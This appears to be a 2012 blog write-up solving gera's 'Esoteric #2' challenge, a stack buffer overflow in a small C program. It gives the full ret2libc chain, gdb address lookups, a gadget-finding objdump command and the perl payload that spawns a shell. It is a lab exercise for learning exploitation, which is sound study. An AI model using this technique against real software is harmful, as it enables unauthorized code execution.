Sunday, December 9, 2012

Esoteric #2

gera's Esoteric #2.

/* specially crafted to feed your brain by gera@core-sdi.com */

/* Now, your misson is to make abo1 act like this other program:
 *
        char buf[100];

        while (1) {
                scanf("%100s",buf);
                system(buf);
        }

 * But, you cannot execute code in stack.
 */

int main(int argv,char **argc) {
        char buf[256];

        strcpy(buf,argc[1]);
}

I started by sticking the scanf() format string into the environment and getting its address.

shell$ export ES2=%100s
shell$ ./ev2
ES2 is at 0xbffffc83

I used a chained ret2libc exploit to avoid executing code from the stack. The buffer looks like this.

[268 As][scanf addr][pop/pop/ret addr][fmt str addr + 1][buf addr][system addr][exit addr][buf addr]

The pop/pop/ret widget is used to adjust the stack pointer and skip over the fmt str and buf addresses on the stack. This aligns everything so ret will load system()'s address into EIP.

1 is added to the fmt str address to skip over the '=' sign in the environment variable.

Here's how the addresses were gathered.

(gdb) print scanf
$1 = {int (char *)} 0x4008d274 <scanf>
(gdb) x/i 0x080484bd
0x80484bd <__do_global_ctors_aux+45>:   pop    %ebx
(gdb)
0x80484be <__do_global_ctors_aux+46>:   pop    %ebp
(gdb)
0x80484bf <__do_global_ctors_aux+47>:   ret
(gdb) x/s 0xbffffc84
0xbffffc84:      "%100s"
(gdb) x/x 0xbffffc94
0xbffffc94:     0x6c006469
(gdb) x/s 0xbffffc94
0xbffffc94:      "id"
(gdb) print system
$2 = {<text variable, no debug info>} 0x40076584 <__libc_system>
(gdb) print exit
$4 = {void (int)} 0x400583a4 <exit>

I found the pop/pop/ret widget via.

shell$ objdump -d --section='.text' es2 | grep ret -B 3 | grep
pop -A 3 | more

Here is everything in action.

(gdb) run `perl -e 'print "A" x 268 . "\x74\xd2\x08\x40" . "\xbd\x84\x04\x08" .
"\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65\x07\x40" . "\xa4\x83\x05\x40
" . "\x94\xfc\xff\xbf"'`
Starting program: /home/dennis/es2/es2 `perl -e 'print "A" x 268 . "\x74\xd2\x08
\x40" . "\xbd\x84\x04\x08" . "\x84\xfc\xff\xbf" . "\x94\xfc\xff\xbf" . "\x84\x65
\x07\x40" . "\xa4\x83\x05\x40" . "\x94\xfc\xff\xbf"'`
sh
sh-2.05$ id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
sh-2.05$ ls
es2  es2.c  ev2  ev2.c  notes  out
sh-2.05$ exit
exit

Program exited normally.

I feel I cheated a bit by launching the shell, but I spent a lot of time trying to get the while(1) loop implemented in either a recursive main() call or via ROP widgets without success. Using the recursive main() call I was able to get 2 iterations before the stack got too corrupted (from the address chains). For the ROP technique, I wasn't able to find proper widgets to manipulate ESP or EBP in a way to cause a loop.

No comments:

Post a Comment